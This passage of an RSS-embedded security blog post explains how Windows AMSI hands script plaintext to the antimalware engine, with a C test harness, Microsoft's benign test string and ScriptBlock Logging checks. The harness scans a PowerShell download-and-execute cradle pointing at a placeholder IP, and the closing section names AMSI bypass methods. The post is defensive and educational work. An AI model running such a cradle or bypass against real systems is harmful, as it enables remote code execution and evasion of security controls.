policy&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// block, and the script is simply never executed.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So a return of &lt;code&gt;S_OK&lt;/code&gt; proves nothing by itself. The real gate is a comparison against the &lt;code&gt;32768&lt;/code&gt; threshold. Patching that comparison and patching the scan are two different bypasses, and the distinction matters.&lt;/p&gt;&#xA;&lt;h3 id=&#34;who-actually-calls-it&#34;&gt;Who actually calls it&#xA;&lt;/h3&gt;&lt;p&gt;Every host follows the same principle: plaintext goes to the engine at the moment of execution. The content differs, though.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;&#x9;&lt;thead&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Host&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;What reaches &lt;code&gt;Scan&lt;/code&gt;&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;th&gt;Note&lt;/th&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/thead&gt;&#xA;&#x9;&lt;tbody&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;PowerShell&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;scripts, interactive input, dynamic eval (&lt;code&gt;Invoke-Expression&lt;/code&gt;, scriptblocks)&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;The main consumer. Input typed at the prompt counts, with no file involved&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;WSH (&lt;code&gt;wscript&lt;/code&gt; / &lt;code&gt;cscript&lt;/code&gt;)&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;the script body before execution&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;&lt;code&gt;.js&lt;/code&gt; / &lt;code&gt;.vbs&lt;/code&gt; scanned right before they run&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;JScript / VBScript&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;runnable script content&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Plaintext at execution time, like everything else&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Office VBA&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;macro VBA source at runtime&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;The interesting case: a document that static AV cannot read still gets caught once the macro runs&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;.NET Framework 4.8+&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;dynamic methods, &lt;code&gt;Assembly.Load(byte[])&lt;/code&gt;&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Code assembled in memory, for compiled-style code&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&#x9;&#x9;&lt;tr&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;WMI&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;operations surfaced to the engine&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&lt;td&gt;Easy to forget that it uses the same bus&lt;/td&gt;&#xA;&#x9;&#x9;&#x9;&lt;/tr&gt;&#xA;&#x9;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;seeing-it-happen&#34;&gt;Seeing it happen&#xA;&lt;/h2&gt;&lt;p&gt;Theory is cheap, so let&amp;rsquo;s make a host hand over the plaintext and watch the engine refuse it. That single observation forms the mental model the next article depends on.&lt;/p&gt;&#xA;&lt;h3 id=&#34;replaying-what-the-host-does-in-c&#34;&gt;Replaying what the host does, in C&#xA;&lt;/h3&gt;&lt;p&gt;This is roughly what PowerShell&amp;rsquo;s engine does with the scriptblock you type. Compile against &lt;code&gt;amsi.lib&lt;/code&gt; and look at the verdict logic:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;amsi.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;HAMSICONTEXT&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ctx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HAMSISESSION&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sess&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;NULL&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AMSI_RESULT&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;res&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AMSI_RESULT_CLEAN&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FAILED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AmsiInitialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;sa&#34;&gt;L&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;LAB-01-host&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ctx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)))&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;puts&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;init failed&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AmsiOpenSession&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ctx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;// optional, lets the engine correlate fragments&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;LPCWSTR&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;payload&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;L&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;IEX (New-Object Net.WebClient).DownloadString(&amp;#39;http://1.2.3.4/x&amp;#39;)&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SUCCEEDED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AmsiScanString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ctx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;payload&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;L&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;unknown-script&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;wprintf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;sa&#34;&gt;L&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;verdict: %u  -&amp;gt; block? %s&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;unsigned&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;AmsiResultIsMalware&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;?&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;L&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;YES&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;L&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;no&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AmsiCloseSession&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ctx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sess&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;AmsiUninitialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ctx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run it twice: once with Defender active, and once with real-time protection off. The verdict changes between the two runs, so capture that contrast:&lt;/p&gt;&#xA;&lt;!-- SCREENSHOT amsi-poc-output.png : terminal, two runs of the compiled PoC side by side - &#34;verdict: 32768 -&gt; block? YES&#34; with Defender on, &#34;verdict: 1 -&gt; block? no&#34; with real-time protection off --&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;PoC output: the same payload blocked with Defender on, allowed with it off&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://blog.hitc.at/images/windows/amsi-poc-output.png&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;flagging-a-string-from-powershell&#34;&gt;Flagging a string from PowerShell&#xA;&lt;/h3&gt;&lt;p&gt;You don&amp;rsquo;t need C to confirm AMSI is working. Microsoft ships a test sample for this: a harmless marker string that every compliant engine is built to detect, the AMSI equivalent of the EICAR file. When you feed it to the interpreter, a working AMSI path blocks it:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# Microsoft&amp;#39;s AMSI test sample. On Defender this is flagged as malware.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# The string itself is benign, and the block is real.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A healthy host responds by refusing to run anything:&lt;/p&gt;&#xA;&lt;!-- SCREENSHOT amsi-ps-block.png : PowerShell prompt, the test sample pasted, red error &#34;This script contains malicious content and has been blocked by your antivirus software&#34; --&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;PowerShell blocking the AMSI test sample&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://blog.hitc.at/images/windows/amsi-ps-block.png&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Run two checks on the same machine, in this order. First, confirm an engine is wired up and see which one:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;Get-MpComputerStatus&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;Select-Object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AMServiceEnabled&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;AMEngineVersion&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, the link to part 2: where else did that plaintext go, besides the scanner?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-powershell&#34; data-lang=&#34;powershell&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# ScriptBlock Logging is a SEPARATE channel from AMSI. Event 4104 carries the&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# content of every scriptblock the engine processed, deobfuscated. It has to be&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# enabled deliberately.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$reg&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;New-ItemProperty&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-Path&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$reg&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-Name&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EnableScriptBlockLogging&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-Value&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-Force&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;Get-WinEvent&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-LogName&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;Microsoft-Windows-PowerShell/Operational&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;Where-Object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Id&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-eq&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;4104&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;Select-Object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-First&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;-ExpandProperty&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Message&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;!-- SCREENSHOT amsi-4104.png : Event Viewer, Microsoft-Windows-PowerShell/Operational, a 4104 event showing a scriptblock in cleartext - ideally the same text that was fed to AmsiScanString --&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Event 4104 showing the scriptblock in cleartext&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://blog.hitc.at/images/windows/amsi-4104.png&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Look at what happened there. &lt;code&gt;AmsiScanBuffer&lt;/code&gt; and event &lt;code&gt;4104&lt;/code&gt; received the &lt;strong&gt;same&lt;/strong&gt; plaintext through &lt;strong&gt;separate&lt;/strong&gt; code paths. One asks &amp;ldquo;is this malware?&amp;rdquo; and can block the script. The other simply records what it saw, whether or not the scan passed. Disable the first, and the second keeps logging. That separation is the main thing to take away from this article.&lt;/p&gt;&#xA;&lt;h2 id=&#34;whats-next&#34;&gt;What&amp;rsquo;s next&#xA;&lt;/h2&gt;&lt;p&gt;Part 2 covers the failure modes this architecture allows: patching &lt;code&gt;AmsiScanBuffer&lt;/code&gt; inside your own process, since the provider lives in your address space, forcing the init path to fail so the engine never engages, or flipping a policy value instead of touching code. It also covers a less obvious point that sits under all of them. AMSI inspects content, while ScriptBlock Logging records it through a different pipe, so &amp;ldquo;AMSI off&amp;rdquo; and &amp;ldquo;logging off&amp;rdquo; are two actions a defender has to audit separately. An attacker who only did the first still leaves a transcript behind.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;32768&lt;/code&gt; threshold is the lever most in-memory bypasses pull. Everything else comes down to keeping the plaintext away from the engine altogether.&lt;/p&gt;&#xA;&lt;h2 id=&#34;resources&#34;&gt;Resources&#xA;&lt;/h2&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Win32 AMSI portal&lt;/a&gt; - API overview&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;How AMSI helps you defend against malware&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AmsiInitialize&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AmsiOpenSession&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AmsiScanBuffer&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AmsiScanString&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;AMSI_RESULT&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;IAntimalwareProvider&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.microsoft.com/en-us/security/blog/?p=85345&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Security blog - Office VBA + AMSI&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://microsoft.com/security/blog/2021/03/03/xlm-amsi-new-runtime-defense-against-excel-4-0-macro-malware&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Security blog - XLM + AMSI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/dotnet/framework/whats-new/#common-language-runtime&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;What&amp;rsquo;s new in .NET Framework&lt;/a&gt; - CLR-to-AMSI integration in 4.8&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;about_Logging_Windows&lt;/a&gt; - ScriptBlock Logging, event 4104, &lt;code&gt;EnableScriptBlockLogging&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.outflank.nl/blog/2019/04/17/bypassing-amsi-for-vba/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Outflank, Bypassing AMSI for VBA&lt;/a&gt; - VBA timeline and the design gaps behind it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Found a mistake, or a date I got wrong? Tell me and I&amp;rsquo;ll fix it. Part 2 is next.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;</description>
        </item></channel>
</rss>
